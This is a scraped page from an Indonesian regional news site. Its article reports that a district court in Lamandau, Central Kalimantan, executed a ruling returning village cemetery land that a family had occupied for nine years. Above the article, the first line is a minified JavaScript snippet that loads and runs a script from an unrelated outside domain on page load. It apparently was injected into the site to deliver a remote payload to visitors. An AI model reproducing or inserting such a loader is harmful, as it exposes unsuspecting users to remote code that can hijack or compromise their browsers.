(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Lamandau

Sembilan Tahun Lahan Dikuasai, Akhirnya Eksekusi Lahan Kembalikan ke Desa Bumi Agung


KANALKALIMANTAN.COM, NANGA BULIK –Pengadilan Negeri (PN) Nanga Bulik mengeksekusi lahan makam Desa Bumi Agung yang dikuasai tergugat Kardi dan keluarga di lahan seluas 12.250 meter persegi terletak di jalan poros Desa Bumi Agung, Kecamatan Bulik, Kabupaten Lamandau, Kamis (9/2/2023).

Eksekusi tetap dilakukan meski tidak dihadiri oleh para tergugat dengan melibatkan belasan personel Polres Lamandau, serta menggunakan tiga alat berat jenis excavator dan dua buah dump truk.

Eksekusi dilakukan dengan memasang plang putusan PN Nanga Bulik dan membongkar tiga bangunan rumah serta meratakan 50 pokok pohon kelapa sawit yang berdiri di lahan milik desa.

Kuasa hukum penggugat, Fajrul Islami Akbar mengatakan perkara sengketa lahan ini sebenarnya sudah terjadi sejak lama, bahkan proses pengadilan sudah bejalan selama kurang lebih dua tahun terakhir.

 

Baca juga: Beda Pandang Dua LSM Pendemo Baramarta ke Pemkab Banjar 

“Karena sudah berkekuatan hukum tetap maka eksekusi bisa dilakukan oleh pihak pengadilan pada hari ini. Kita bersyukur artinya lahan ini sudah kembali menjadi milik pemerintah desa dan dapat kembali digunakan sebagaimana mestinya yakni fasilitas umum untuk keperluan tempat permakaman,” kata Fajrul Islami Akbar, Kamis (9/2/2023).

Fajrul menjelaskan, sengketa sudah berlangsung sejak sembilan tahun lalu tepatnya pada tahun 2014. Saat itu tergugat tinggal di lahan tersebut dengan status pinjam pakai dan diberikan surat keterangan pinjam lahan dari pemerintah desa Bumi Agung.

Namun, dalam perjalanannya, permakaman terus bertambah setiap tahun, sehingga perlu perluasan sementara tergugat mendirikan rumah dan menanami kelapa sawit di area permakaman desa. Saat itu pemerintah desa setempat telah berupaya untuk menyelesaikan masalah tersebut secara musyawarah, tapi tidak membuahkan hasil.

“Kerena keluarga tergugat tidak mau mengosongkan lahan, maka pemerintah desa akhirnya melakukan gugatan secara perdata, hingga dimenangkan oleh penggugat sampai pada putusan di tingkat banding,” jelasnya.

Baca juga: Tarian Vulgar di Lapangan Murjani, Panitia Penyelenggara Terima Sanksi dan Sampaikan Permintaan Maaf kepada Tokoh Agama

Sementara itu, tokoh masyarakat Desa Bumi Agung, M Basar yang turut hadir di lokasi menyampaikan terima kasih kepada PN Nanga Bulik yang telah melaksanakan eksekusi. Dengan demikian lahan tersebut sudah memiliki status yang kuat dimata hukum serta dapat mencegah adanya gesekan antar warga.

“Karena lahan ini juga untuk kepentingan umum bukan hanya untuk warga desa Bumi Agung, saja tapi warga sekitar yang membutuhkan juga bisa memanfaatkan tempat pemakaman ini,” kata Basar.(Kanalkalimantan.com/habibullah)

Reporter : habibullah
Editor : kk


Risa

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

9 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

9 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

9 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

10 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

10 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

12 jam ago

This website uses cookies.